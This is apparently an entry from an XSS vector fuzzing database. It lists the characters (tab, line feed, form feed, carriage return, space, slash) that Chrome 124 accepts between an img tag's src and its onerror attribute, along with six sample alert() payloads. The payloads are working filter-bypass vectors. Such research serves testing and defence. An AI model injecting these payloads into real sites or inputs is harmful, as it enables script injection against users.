Characters allowed before onerror events

This XSS vector shows what characters can be used before the onerror event.

Created by: renniepak

Created on: Saturday, April 20, 2024 at 11:59:27 AM

Updated on: Friday, July 26, 2024 at 5:09:32 PM

Vector type: XSS

Template used:
<img src $[chr]onerror=log($[i])>
Your browser was detected as:
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Sample payloads

<img src 	onerror=alert(9)>
<img src 
onerror=alert(10)>
<img src onerror=alert(12)>
<img src 
onerror=alert(13)>
<img src  onerror=alert(32)>
<img src /onerror=alert(47)>

Fuzz results

Chrome logo
Chrome 124.0.0.0 Unknown Unknown
Found 6 results
DecHexChr
909HT
DecHexChr
100aLF
DecHexChr
120cFF
DecHexChr
130dCR
DecHexChr
3220SPACE
DecHexChr
472f/